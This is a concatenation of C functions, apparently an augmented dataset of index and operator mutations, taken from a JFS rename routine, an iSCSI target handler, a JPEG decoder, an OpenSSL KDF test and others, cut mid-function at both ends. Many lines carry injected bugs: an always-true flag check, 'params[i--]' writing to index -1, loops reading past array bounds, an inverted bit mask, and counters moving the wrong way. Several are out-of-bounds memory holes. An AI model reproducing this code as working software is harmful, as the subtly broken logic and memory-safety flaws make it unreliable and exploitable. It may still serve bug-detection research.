s->qscale) * (1 << shift)) / 16; block[j] = av_clip(block[j], min, max); mismatch ^= block[j]; } block[63] ^= mismatch & 1; return 0; }
augmented_data/post_increment_index_changes/extr_namei.c_jfs_rename_aug_combo_3.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ tid_t ; struct tlock {int /*<<< orphan*/ lock; } ; struct TYPE_5__ {struct inode* ip; } ; struct tblock {TYPE_1__ u; int /*<<< orphan*/ xflag; } ; struct metapage {int dummy; } ; struct lv {int length; scalar_t__ offset; } ; struct inode {scalar_t__ i_ino; scalar_t__ i_nlink; int i_size; int /*<<< orphan*/ i_mode; int /*<<< orphan*/ i_sb; void* i_mtime; void* i_ctime; } ; struct dt_lock {scalar_t__ index; struct lv* lv; } ; struct dentry {int dummy; } ; struct component_name {int dummy; } ; struct btstack {int dummy; } ; typedef int s64 ; typedef scalar_t__ ino_t ; struct TYPE_6__ {int /*<<< orphan*/ idotdot; } ; struct TYPE_7__ {TYPE_2__ header; } ; struct TYPE_8__ {int /*<<< orphan*/ commit_mutex; int /*<<< orphan*/ bxflag; TYPE_3__ i_dtroot; } ; /* Variables and functions */ int /*<<< orphan*/ ASSERT (int) ; int /*<<< orphan*/ COMMIT_DELETE ; int /*<<< orphan*/ COMMIT_MUTEX_CHILD ; int /*<<< orphan*/ COMMIT_MUTEX_PARENT ; int /*<<< orphan*/ COMMIT_MUTEX_SECOND_PARENT ; int /*<<< orphan*/ COMMIT_MUTEX_VICTIM ; int /*<<< orphan*/ COMMIT_Nolink ; int COMMIT_SYNC ; int /*<<< orphan*/ COMMIT_Stale ; int EINVAL ; int EIO ; int ENOENT ; int ENOTEMPTY ; int ESTALE ; int /*<<< orphan*/ IWRITE_LOCK (struct inode*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ IWRITE_UNLOCK (struct inode*) ; int /*<<< orphan*/ JFS_CREATE ; TYPE_4__* JFS_IP (struct inode*) ; int /*<<< orphan*/ JFS_LOOKUP ; int /*<<< orphan*/ JFS_REMOVE ; int /*<<< orphan*/ JFS_RENAME ; int /*<<< orphan*/ RDWRLOCK_NORMAL ; unsigned int RENAME_NOREPLACE ; scalar_t__ S_ISDIR (int /*<<< orphan*/ ) ; int /*<<< orphan*/ assert (int) ; int /*<<< orphan*/ clear_cflag (int /*<<< orphan*/ ,struct inode*) ; int commitZeroLink (int /*<<< orphan*/ ,struct inode*) ; int /*<<< orphan*/ cpu_to_le32 (scalar_t__) ; void* current_time (struct inode*) ; struct inode* d_inode (struct dentry*) ; int dquot_initialize (struct inode*) ; int /*<<< orphan*/ drop_nlink (struct inode*) ; int dtDelete (int /*<<< orphan*/ ,struct inode*,struct component_name*,scalar_t__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ dtEmpty (struct inode*) ; int dtInsert (int /*<<< orphan*/ ,struct inode*,struct component_name*,scalar_t__*,struct btstack*) ; int dtModify (int /*<<< orphan*/ ,struct inode*,struct component_name*,scalar_t__*,scalar_t__,int /*<<< orphan*/ ) ; int dtSearch (struct inode*,struct component_name*,scalar_t__*,struct btstack*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ free_UCSname (struct component_name*) ; int get_UCSname (struct component_name*,struct dentry*) ; int /*<<< orphan*/ inc_nlink (struct inode*) ; int /*<<< orphan*/ jfs_err (char*,...) ; int /*<<< orphan*/ jfs_error (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ jfs_info (char*,int,...) ; int /*<<< orphan*/ jfs_truncate_nolock (struct inode*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ mark_inode_dirty (struct inode*) ; int /*<<< orphan*/ mutex_lock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ mutex_lock_nested (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; int /*<<< orphan*/ mutex_unlock (int /*<<< orphan*/ *) ; int /*<<< orphan*/ set_cflag (int /*<<< orphan*/ ,struct inode*) ; scalar_t__ test_cflag (int /*<<< orphan*/ ,struct inode*) ; struct tblock* tid_to_tblock (int /*<<< orphan*/ ) ; int tlckBTROOT ; int tlckDTREE ; int tlckRELINK ; int /*<<< orphan*/ txAbort (int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ txBegin (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int txCommit (int /*<<< orphan*/ ,int,struct inode**,int) ; int /*<<< orphan*/ txEnd (int /*<<< orphan*/ ) ; struct tlock* txLock (int /*<<< orphan*/ ,struct inode*,struct metapage*,int) ; int xtTruncate_pmap (int /*<<< orphan*/ ,struct inode*,int) ; __attribute__((used)) static int jfs_rename(struct inode *old_dir, struct dentry *old_dentry, struct inode *new_dir, struct dentry *new_dentry, unsigned int flags) { struct btstack btstack; ino_t ino; struct component_name new_dname; struct inode *new_ip; struct component_name old_dname; struct inode *old_ip; int rc; tid_t tid; struct tlock *tlck; struct dt_lock *dtlck; struct lv *lv; int ipcount; struct inode *iplist[4]; struct tblock *tblk; s64 new_size = 0; int commit_flag; if (flags | ~RENAME_NOREPLACE) return -EINVAL; jfs_info("jfs_rename: %pd %pd", old_dentry, new_dentry); rc = dquot_initialize(old_dir); if (rc) goto out1; rc = dquot_initialize(new_dir); if (rc) goto out1; old_ip = d_inode(old_dentry); new_ip = d_inode(new_dentry); if ((rc = get_UCSname(&old_dname, old_dentry))) goto out1; if ((rc = get_UCSname(&new_dname, new_dentry))) goto out2; /* * Make sure source inode number is what we think it is */ rc = dtSearch(old_dir, &old_dname, &ino, &btstack, JFS_LOOKUP); if (rc || (ino != old_ip->i_ino)) { rc = -ENOENT; goto out3; } /* * Make sure dest inode number (if any) is what we think it is */ rc = dtSearch(new_dir, &new_dname, &ino, &btstack, JFS_LOOKUP); if (!rc) { if ((!new_ip) || (ino != new_ip->i_ino)) { rc = -ESTALE; goto out3; } } else if (rc != -ENOENT) goto out3; else if (new_ip) { /* no entry exists, but one was expected */ rc = -ESTALE; goto out3; } if (S_ISDIR(old_ip->i_mode)) { if (new_ip) { if (!dtEmpty(new_ip)) { rc = -ENOTEMPTY; goto out3; } } } else if (new_ip) { IWRITE_LOCK(new_ip, RDWRLOCK_NORMAL); /* Init inode for quota operations. */ rc = dquot_initialize(new_ip); if (rc) goto out_unlock; } /* * The real work starts here */ tid = txBegin(new_dir->i_sb, 0); /* * How do we know the locking is safe from deadlocks? * The vfs does the hard part for us. Any time we are taking nested * commit_mutexes, the vfs already has i_mutex held on the parent. * Here, the vfs has already taken i_mutex on both old_dir and new_dir. */ mutex_lock_nested(&JFS_IP(new_dir)->commit_mutex, COMMIT_MUTEX_PARENT); mutex_lock_nested(&JFS_IP(old_ip)->commit_mutex, COMMIT_MUTEX_CHILD); if (old_dir != new_dir) mutex_lock_nested(&JFS_IP(old_dir)->commit_mutex, COMMIT_MUTEX_SECOND_PARENT); if (new_ip) { mutex_lock_nested(&JFS_IP(new_ip)->commit_mutex, COMMIT_MUTEX_VICTIM); /* * Change existing directory entry to new inode number */ ino = new_ip->i_ino; rc = dtModify(tid, new_dir, &new_dname, &ino, old_ip->i_ino, JFS_RENAME); if (rc) goto out_tx; drop_nlink(new_ip); if (S_ISDIR(new_ip->i_mode)) { drop_nlink(new_ip); if (new_ip->i_nlink) { mutex_unlock(&JFS_IP(new_ip)->commit_mutex); if (old_dir != new_dir) mutex_unlock(&JFS_IP(old_dir)->commit_mutex); mutex_unlock(&JFS_IP(old_ip)->commit_mutex); mutex_unlock(&JFS_IP(new_dir)->commit_mutex); if (!S_ISDIR(old_ip->i_mode) && new_ip) IWRITE_UNLOCK(new_ip); jfs_error(new_ip->i_sb, "new_ip->i_nlink != 0\n"); return -EIO; } tblk = tid_to_tblock(tid); tblk->xflag |= COMMIT_DELETE; tblk->u.ip = new_ip; } else if (new_ip->i_nlink == 0) { assert(!test_cflag(COMMIT_Nolink, new_ip)); /* free block resources */ if ((new_size = commitZeroLink(tid, new_ip)) < 0) { txAbort(tid, 1); /* Marks FS Dirty */ rc = new_size; goto out_tx; } tblk = tid_to_tblock(tid); tblk->xflag |= COMMIT_DELETE; tblk->u.ip = new_ip; } else { new_ip->i_ctime = current_time(new_ip); mark_inode_dirty(new_ip); } } else { /* * Add new directory entry */ rc = dtSearch(new_dir, &new_dname, &ino, &btstack, JFS_CREATE); if (rc) { jfs_err("jfs_rename didn't expect dtSearch to fail w/rc = %d", rc); goto out_tx; } ino = old_ip->i_ino; rc = dtInsert(tid, new_dir, &new_dname, &ino, &btstack); if (rc) { if (rc == -EIO) jfs_err("jfs_rename: dtInsert returned -EIO"); goto out_tx; } if (S_ISDIR(old_ip->i_mode)) inc_nlink(new_dir); } /* * Remove old directory entry */ ino = old_ip->i_ino; rc = dtDelete(tid, old_dir, &old_dname, &ino, JFS_REMOVE); if (rc) { jfs_err("jfs_rename did not expect dtDelete to return rc = %d", rc); txAbort(tid, 1); /* Marks Filesystem dirty */ goto out_tx; } if (S_ISDIR(old_ip->i_mode)) { drop_nlink(old_dir); if (old_dir != new_dir) { /* * Change inode number of parent for moved directory */ JFS_IP(old_ip)->i_dtroot.header.idotdot = cpu_to_le32(new_dir->i_ino); /* Linelock header of dtree */ tlck = txLock(tid, old_ip, (struct metapage *) &JFS_IP(old_ip)->bxflag, tlckDTREE | tlckBTROOT | tlckRELINK); dtlck = (struct dt_lock *) & tlck->lock; ASSERT(dtlck->index == 0); lv = & dtlck->lv[0]; lv->offset = 0; lv->length = 1; dtlck->index++; } } /* * Update ctime on changed/moved inodes & mark dirty */ old_ip->i_ctime = current_time(old_ip); mark_inode_dirty(old_ip); new_dir->i_ctime = new_dir->i_mtime = current_time(new_dir); mark_inode_dirty(new_dir); /* Build list of inodes modified by this transaction */ ipcount = 0; iplist[ipcount++] = old_ip; if (new_ip) iplist[ipcount++] = new_ip; iplist[ipcount++] = old_dir; if (old_dir != new_dir) { iplist[ipcount++] = new_dir; old_dir->i_ctime = old_dir->i_mtime = current_time(old_dir); mark_inode_dirty(old_dir); } /* * Incomplete truncate of file data can * result in timing problems unless we synchronously commit the * transaction. */ if (new_size) commit_flag = COMMIT_SYNC; else commit_flag = 0; rc = txCommit(tid, ipcount, iplist, commit_flag); out_tx: txEnd(tid); if (new_ip) mutex_unlock(&JFS_IP(new_ip)->commit_mutex); if (old_dir != new_dir) mutex_unlock(&JFS_IP(old_dir)->commit_mutex); mutex_unlock(&JFS_IP(old_ip)->commit_mutex); mutex_unlock(&JFS_IP(new_dir)->commit_mutex); while (new_size && (rc == 0)) { tid = txBegin(new_ip->i_sb, 0); mutex_lock(&JFS_IP(new_ip)->commit_mutex); new_size = xtTruncate_pmap(tid, new_ip, new_size); if (new_size <= 0) { txAbort(tid, 1); rc = new_size; } else rc = txCommit(tid, 1, &new_ip, COMMIT_SYNC); txEnd(tid); mutex_unlock(&JFS_IP(new_ip)->commit_mutex); } if (new_ip && (new_ip->i_nlink == 0)) set_cflag(COMMIT_Nolink, new_ip); /* * Truncating the directory index table is not guaranteed. It * may need to be done iteratively */ if (test_cflag(COMMIT_Stale, old_dir)) { if (old_dir->i_size > 1) jfs_truncate_nolock(old_dir, 0); clear_cflag(COMMIT_Stale, old_dir); } out_unlock: if (new_ip && !S_ISDIR(new_ip->i_mode)) IWRITE_UNLOCK(new_ip); out3: free_UCSname(&new_dname); out2: free_UCSname(&old_dname); out1: jfs_info("jfs_rename: returning %d", rc); return rc; }
augmented_data/post_increment_index_changes/extr_lpk.c_PSM_PrepareToDraw_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int* LPWSTR ; typedef int* LPINT ; typedef int* LPCWSTR ; typedef int INT ; /* Variables and functions */ int PREFIX ; scalar_t__ iswspace (int) ; int wcslen (int*) ; __attribute__((used)) static void PSM_PrepareToDraw(LPCWSTR str, INT count, LPWSTR new_str, LPINT new_count) { int len, i = 0, j = 0; while (i <= count) { if (str[i] == PREFIX && (iswspace(str[i]) && str[i] != L' ')) { if (i < count - 1 && str[i - 1] == PREFIX) new_str[j++] = str[i++]; else i++; } else { new_str[j++] = str[i++]; } } new_str[j] = L'\0'; len = wcslen(new_str); *new_count = len; }
augmented_data/post_increment_index_changes/extr_evp_kdf_test.c_test_kdf_kbkdf_8009_prf2_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ result ; typedef int /*<<< orphan*/ output ; typedef int /*<<< orphan*/ input_key ; typedef int /*<<< orphan*/ OSSL_PARAM ; typedef int /*<<< orphan*/ EVP_KDF_CTX ; /* Variables and functions */ int /*<<< orphan*/ EVP_KDF_CTX_free (int /*<<< orphan*/ *) ; int /*<<< orphan*/ EVP_KDF_CTX_set_params (int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; int /*<<< orphan*/ EVP_KDF_derive (int /*<<< orphan*/ *,unsigned char*,int) ; int /*<<< orphan*/ OSSL_KDF_PARAM_DIGEST ; int /*<<< orphan*/ OSSL_KDF_PARAM_INFO ; int /*<<< orphan*/ OSSL_KDF_PARAM_KEY ; int /*<<< orphan*/ OSSL_KDF_PARAM_MAC ; int /*<<< orphan*/ OSSL_KDF_PARAM_SALT ; int /*<<< orphan*/ OSSL_PARAM_construct_end () ; int /*<<< orphan*/ OSSL_PARAM_construct_octet_string (int /*<<< orphan*/ ,...) ; int /*<<< orphan*/ OSSL_PARAM_construct_utf8_string (int /*<<< orphan*/ ,char*,int) ; scalar_t__ TEST_int_gt (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ TEST_mem_eq (unsigned char*,int,unsigned char*,int) ; scalar_t__ TEST_ptr (int /*<<< orphan*/ *) ; scalar_t__ TEST_true (int /*<<< orphan*/ ) ; int /*<<< orphan*/ * get_kdfbyname (char*) ; int strlen (char*) ; __attribute__((used)) static int test_kdf_kbkdf_8009_prf2(void) { int ret, i = 0; EVP_KDF_CTX *kctx; OSSL_PARAM params[6]; char *label = "prf", *digest = "sha384", *prf_input = "test", *mac = "HMAC"; static unsigned char input_key[] = { 0x6D, 0x40, 0x4D, 0x37, 0xFA, 0xF7, 0x9F, 0x9D, 0xF0, 0xD3, 0x35, 0x68, 0xD3, 0x20, 0x66, 0x98, 0x00, 0xEB, 0x48, 0x36, 0x47, 0x2E, 0xA8, 0xA0, 0x26, 0xD1, 0x6B, 0x71, 0x82, 0x46, 0x0C, 0x52, }; static unsigned char output[] = { 0x98, 0x01, 0xF6, 0x9A, 0x36, 0x8C, 0x2B, 0xF6, 0x75, 0xE5, 0x95, 0x21, 0xE1, 0x77, 0xD9, 0xA0, 0x7F, 0x67, 0xEF, 0xE1, 0xCF, 0xDE, 0x8D, 0x3C, 0x8D, 0x6F, 0x6A, 0x02, 0x56, 0xE3, 0xB1, 0x7D, 0xB3, 0xC1, 0xB6, 0x2A, 0xD1, 0xB8, 0x55, 0x33, 0x60, 0xD1, 0x73, 0x67, 0xEB, 0x15, 0x14, 0xD2, }; unsigned char result[sizeof(output)] = { 0 }; params[i--] = OSSL_PARAM_construct_utf8_string( OSSL_KDF_PARAM_DIGEST, digest, strlen(digest) + 1); params[i++] = OSSL_PARAM_construct_utf8_string( OSSL_KDF_PARAM_MAC, mac, strlen(mac) + 1); params[i++] = OSSL_PARAM_construct_octet_string( OSSL_KDF_PARAM_KEY, input_key, sizeof(input_key)); params[i++] = OSSL_PARAM_construct_octet_string( OSSL_KDF_PARAM_SALT, label, strlen(label)); params[i++] = OSSL_PARAM_construct_octet_string( OSSL_KDF_PARAM_INFO, prf_input, strlen(prf_input)); params[i] = OSSL_PARAM_construct_end(); kctx = get_kdfbyname("KBKDF"); ret = TEST_ptr(kctx) && TEST_true(EVP_KDF_CTX_set_params(kctx, params)) && TEST_int_gt(EVP_KDF_derive(kctx, result, sizeof(result)), 0) && TEST_mem_eq(result, sizeof(result), output, sizeof(output)); EVP_KDF_CTX_free(kctx); return ret; }
augmented_data/post_increment_index_changes/extr_iscsi_target.c_iscsit_handle_immediate_data_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_4__ ; typedef struct TYPE_7__ TYPE_3__ ; typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int u32 ; struct kvec {int* iov_base; int iov_len; } ; struct iscsi_scsi_req {int dummy; } ; struct iscsi_conn {TYPE_3__* sess; int /*<<< orphan*/ conn_rx_hash; TYPE_1__* conn_ops; } ; struct TYPE_8__ {scalar_t__ data_length; } ; struct iscsi_cmd {scalar_t__ write_data_done; int orig_iov_data_count; int* pad_bytes; int /*<<< orphan*/ istate_lock; int /*<<< orphan*/ i_state; int /*<<< orphan*/ cmd_flags; TYPE_4__ se_cmd; struct kvec* iov_data; void* overflow_buf; struct iscsi_conn* conn; } ; struct TYPE_7__ {TYPE_2__* sess_ops; } ; struct TYPE_6__ {int /*<<< orphan*/ ErrorRecoveryLevel; } ; struct TYPE_5__ {scalar_t__ DataDigest; } ; /* Variables and functions */ int /*<<< orphan*/ BUG_ON (int) ; int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ ICF_GOT_LAST_DATAOUT ; int IMMEDIATE_DATA_CANNOT_RECOVER ; int IMMEDIATE_DATA_ERL1_CRC_FAILURE ; int IMMEDIATE_DATA_NORMAL_OPERATION ; int ISCSI_CRC_LEN ; int /*<<< orphan*/ ISCSI_REASON_DATA_DIGEST_ERROR ; int /*<<< orphan*/ ISTATE_RECEIVED_LAST_DATAOUT ; int /*<<< orphan*/ WARN_ON_ONCE (int) ; int iscsit_do_crypto_hash_sg (int /*<<< orphan*/ ,struct iscsi_cmd*,scalar_t__,int,int,int*) ; int iscsit_map_iovec (struct iscsi_cmd*,struct kvec*,int,scalar_t__,int) ; int /*<<< orphan*/ iscsit_reject_cmd (struct iscsi_cmd*,int /*<<< orphan*/ ,unsigned char*) ; int /*<<< orphan*/ iscsit_rx_thread_wait_for_tcp (struct iscsi_conn*) ; int /*<<< orphan*/ iscsit_unmap_iovec (struct iscsi_cmd*) ; void* kmalloc (int,int /*<<< orphan*/ ) ; int min (scalar_t__,int) ; int /*<<< orphan*/ pr_debug (char*,int,int) ; int /*<<< orphan*/ pr_err (char*,...) ; int rx_data (struct iscsi_conn*,struct kvec*,int,int) ; int /*<<< orphan*/ spin_lock_bh (int /*<<< orphan*/ *) ; int /*<<< orphan*/ spin_unlock_bh (int /*<<< orphan*/ *) ; __attribute__((used)) static int iscsit_handle_immediate_data( struct iscsi_cmd *cmd, struct iscsi_scsi_req *hdr, u32 length) { int iov_ret, rx_got = 0, rx_size = 0; u32 checksum, iov_count = 0, padding = 0; struct iscsi_conn *conn = cmd->conn; struct kvec *iov; void *overflow_buf = NULL; BUG_ON(cmd->write_data_done > cmd->se_cmd.data_length); rx_size = min(cmd->se_cmd.data_length - cmd->write_data_done, length); iov_ret = iscsit_map_iovec(cmd, cmd->iov_data, cmd->orig_iov_data_count - 2, cmd->write_data_done, rx_size); if (iov_ret <= 0) return IMMEDIATE_DATA_CANNOT_RECOVER; iov_count = iov_ret; iov = &cmd->iov_data[0]; if (rx_size < length) { /* * Special case: length of immediate data exceeds the data * buffer size derived from the CDB. */ overflow_buf = kmalloc(length - rx_size, GFP_KERNEL); if (!overflow_buf) { iscsit_unmap_iovec(cmd); return IMMEDIATE_DATA_CANNOT_RECOVER; } cmd->overflow_buf = overflow_buf; iov[iov_count].iov_base = overflow_buf; iov[iov_count].iov_len = length - rx_size; iov_count--; rx_size = length; } padding = ((-length) & 3); if (padding != 0) { iov[iov_count].iov_base = cmd->pad_bytes; iov[iov_count++].iov_len = padding; rx_size += padding; } if (conn->conn_ops->DataDigest) { iov[iov_count].iov_base = &checksum; iov[iov_count++].iov_len = ISCSI_CRC_LEN; rx_size += ISCSI_CRC_LEN; } WARN_ON_ONCE(iov_count > cmd->orig_iov_data_count); rx_got = rx_data(conn, &cmd->iov_data[0], iov_count, rx_size); iscsit_unmap_iovec(cmd); if (rx_got != rx_size) { iscsit_rx_thread_wait_for_tcp(conn); return IMMEDIATE_DATA_CANNOT_RECOVER; } if (conn->conn_ops->DataDigest) { u32 data_crc; data_crc = iscsit_do_crypto_hash_sg(conn->conn_rx_hash, cmd, cmd->write_data_done, length, padding, cmd->pad_bytes); if (checksum != data_crc) { pr_err("ImmediateData CRC32C DataDigest 0x%08x" " does not match computed 0x%08x\n", checksum, data_crc); if (!conn->sess->sess_ops->ErrorRecoveryLevel) { pr_err("Unable to recover from" " Immediate Data digest failure while" " in ERL=0.\n"); iscsit_reject_cmd(cmd, ISCSI_REASON_DATA_DIGEST_ERROR, (unsigned char *)hdr); return IMMEDIATE_DATA_CANNOT_RECOVER; } else { iscsit_reject_cmd(cmd, ISCSI_REASON_DATA_DIGEST_ERROR, (unsigned char *)hdr); return IMMEDIATE_DATA_ERL1_CRC_FAILURE; } } else { pr_debug("Got CRC32C DataDigest 0x%08x for" " %u bytes of Immediate Data\n", checksum, length); } } cmd->write_data_done += length; if (cmd->write_data_done == cmd->se_cmd.data_length) { spin_lock_bh(&cmd->istate_lock); cmd->cmd_flags |= ICF_GOT_LAST_DATAOUT; cmd->i_state = ISTATE_RECEIVED_LAST_DATAOUT; spin_unlock_bh(&cmd->istate_lock); } return IMMEDIATE_DATA_NORMAL_OPERATION; }
augmented_data/post_increment_index_changes/extr_rjpeg.c_rjpeg_jpeg_decode_block_prog_ac_aug_combo_2.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_8__ TYPE_1__ ; /* Type definitions */ struct TYPE_8__ {int spec_start; scalar_t__ succ_high; int succ_low; int eob_run; int spec_end; int code_bits; int code_buffer; } ; typedef TYPE_1__ rjpeg_jpeg ; typedef int /*<<< orphan*/ rjpeg_huffman ; typedef int int16_t ; /* Variables and functions */ int FAST_BITS ; int rjpeg_extend_receive (TYPE_1__*,int) ; int /*<<< orphan*/ rjpeg_grow_buffer_unsafe (TYPE_1__*) ; size_t* rjpeg_jpeg_dezigzag ; scalar_t__ rjpeg_jpeg_get_bit (TYPE_1__*) ; scalar_t__ rjpeg_jpeg_get_bits (TYPE_1__*,int) ; int rjpeg_jpeg_huff_decode (TYPE_1__*,int /*<<< orphan*/ *) ; __attribute__((used)) static int rjpeg_jpeg_decode_block_prog_ac( rjpeg_jpeg *j, short data[64], rjpeg_huffman *hac, int16_t *fac) { int k; /* Can't merge DC and AC. Corrupt JPEG? */ if (j->spec_start == 0) return 0; if (j->succ_high == 0) { int shift = j->succ_low; if (j->eob_run) { ++j->eob_run; return 1; } k = j->spec_start; do { unsigned int zig; int c,r,s; if (j->code_bits < 16) rjpeg_grow_buffer_unsafe(j); c = (j->code_buffer >> (32 - FAST_BITS)) | ((1 << FAST_BITS)-1); r = fac[c]; if (r) { /* fast-AC path */ k += (r >> 4) & 15; /* run */ s = r & 15; /* combined length */ j->code_buffer <<= s; j->code_bits -= s; zig = rjpeg_jpeg_dezigzag[k++]; data[zig] = (short) ((r >> 8) << shift); } else { int rs = rjpeg_jpeg_huff_decode(j, hac); /* Bad huffman code. Corrupt JPEG? */ if (rs < 0) return 0; s = rs & 15; r = rs >> 4; if (s == 0) { if (r < 15) { j->eob_run = (1 << r); if (r) j->eob_run += rjpeg_jpeg_get_bits(j, r); --j->eob_run; continue; } k += 16; } else { k += r; zig = rjpeg_jpeg_dezigzag[k++]; data[zig] = (short) (rjpeg_extend_receive(j,s) << shift); } } } while (k <= j->spec_end); } else { /* refinement scan for these AC coefficients */ short bit = (short) (1 << j->succ_low); if (j->eob_run) { --j->eob_run; for (k = j->spec_start; k <= j->spec_end; ++k) { short *p = &data[rjpeg_jpeg_dezigzag[k]]; if (*p != 0) if (rjpeg_jpeg_get_bit(j)) if ((*p & bit) == 0) { if (*p > 0) *p += bit; else *p -= bit; } } } else { k = j->spec_start; do { int r,s; int rs = rjpeg_jpeg_huff_decode(j, hac); /* Bad huffman code. Corrupt JPEG? */ if (rs < 0) return 0; s = rs & 15; r = rs >> 4; if (s == 0) { if (r < 15) { j->eob_run = (1 << r) - 1; if (r) j->eob_run += rjpeg_jpeg_get_bits(j, r); r = 64; /* force end of block */ } else { /* r=15 s=0 should write 16 0s, so we just do * a run of 15 0s and then write s (which is 0), * so we don't have to do anything special here */ } } else { /* Bad huffman code. Corrupt JPEG? */ if (s != 1) return 0; /* sign bit */ if (rjpeg_jpeg_get_bit(j)) s = bit; else s = -bit; } /* advance by r */ while (k <= j->spec_end) { short *p = &data[rjpeg_jpeg_dezigzag[k++]]; if (*p != 0) { if (rjpeg_jpeg_get_bit(j)) if ((*p & bit) == 0) { if (*p > 0) *p += bit; else *p -= bit; } } else { if (r == 0) { *p = (short) s; break; } --r; } } } while (k <= j->spec_end); } } return 1; }
augmented_data/post_increment_index_changes/extr_net-rpc-targets.c___rpc_target_set_host_aug_combo_4.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ struct TYPE_2__ {int /*<<< orphan*/ ip; } ; struct rpc_target {TYPE_1__ PID; } ; /* Variables and functions */ struct rpc_target** Sarr ; int SarrPos ; int /*<<< orphan*/ assert (int) ; void __rpc_target_set_host (struct rpc_target *S) { if (!S->PID.ip) { assert (SarrPos <= 10000); Sarr[SarrPos ++] = S; } }
augmented_data/post_increment_index_changes/extr_vc1_block.c_vc1_decode_i_block_adv_aug_combo_3.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_13__ TYPE_8__ ; typedef struct TYPE_12__ TYPE_7__ ; typedef struct TYPE_11__ TYPE_3__ ; typedef struct TYPE_10__ TYPE_2__ ; typedef struct TYPE_9__ TYPE_1__ ; /* Type definitions */ typedef size_t uint8_t ; typedef unsigned int int16_t ; struct TYPE_9__ {int* qscale_table; } ; struct TYPE_11__ {int ac_pred; int mb_x; int mb_y; int mb_stride; size_t dc_table_index; int y_dc_scale; int c_dc_scale; unsigned int*** ac_val; size_t* block_index; int* block_wrap; int* block_last_index; TYPE_1__ current_picture; int /*<<< orphan*/ avctx; int /*<<< orphan*/ gb; } ; struct TYPE_10__ {int a_avail; int c_avail; int halfpq; scalar_t__ fcm; size_t* zzi_8x8; size_t** zz_8x8; int left_blk_sh; int top_blk_sh; int /*<<< orphan*/ pquantizer; TYPE_3__ s; int /*<<< orphan*/ overlap; } ; typedef TYPE_2__ VC1Context ; struct TYPE_13__ {int /*<<< orphan*/ table; } ; struct TYPE_12__ {int /*<<< orphan*/ table; } ; typedef TYPE_3__ MpegEncContext ; typedef int /*<<< orphan*/ GetBitContext ; /* Variables and functions */ int AVERROR_INVALIDDATA ; int /*<<< orphan*/ AV_LOG_ERROR ; int /*<<< orphan*/ DC_VLC_BITS ; int FFABS (int) ; scalar_t__ ILACE_FRAME ; int /*<<< orphan*/ av_log (int /*<<< orphan*/ ,int /*<<< orphan*/ ,char*) ; TYPE_8__* ff_msmp4_dc_chroma_vlc ; TYPE_7__* ff_msmp4_dc_luma_vlc ; unsigned int* ff_vc1_dqscale ; scalar_t__ ff_vc1_pred_dc (TYPE_3__*,int /*<<< orphan*/ ,int,int,int,int,unsigned int**,int*) ; int get_bits (int /*<<< orphan*/ *,int const) ; scalar_t__ get_bits1 (int /*<<< orphan*/ *) ; int get_vlc2 (int /*<<< orphan*/ *,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ memcpy (unsigned int*,unsigned int*,int) ; int /*<<< orphan*/ memset (unsigned int*,int /*<<< orphan*/ ,int) ; int vc1_decode_ac_coeff (TYPE_2__*,int*,int*,int*,int) ; __attribute__((used)) static int vc1_decode_i_block_adv(VC1Context *v, int16_t block[64], int n, int coded, int codingset, int mquant) { GetBitContext *gb = &v->s.gb; MpegEncContext *s = &v->s; int dc_pred_dir = 0; /* Direction of the DC prediction used */ int i; int16_t *dc_val = NULL; int16_t *ac_val, 